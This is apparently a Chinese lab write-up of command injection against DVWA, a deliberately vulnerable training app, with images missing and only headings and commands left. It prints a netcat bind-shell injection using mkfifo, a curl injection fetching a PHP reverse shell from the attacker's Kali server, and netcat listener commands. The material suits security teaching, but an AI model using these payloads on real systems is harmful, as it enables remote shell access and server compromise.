DVWA-命令执行

开门见山

---

 

·Low

 

 

 

 

 

 

 

 

 

 

 

·Medium

 

 

 

 

 

 

·High

 

 

· 命令执行监听端口

;mkfifo /tmp/pipe;sh /tmp/pipe | nc -nlp 4444 > /tmp/pipe

nc 192.168.31.100 4444

 

· 反弹shell

拷贝shell文件

 

 

 

启动kali的apache服务

 

 

 

修改shell文件

 

 

 

命令执行漏洞执行shell

;curl http://192.168.31.52/1.php

 

 

 

Kali打开侦听

nc -nvvlp 1234

 

 

 

执行命令后接收到监听

 

 

 

---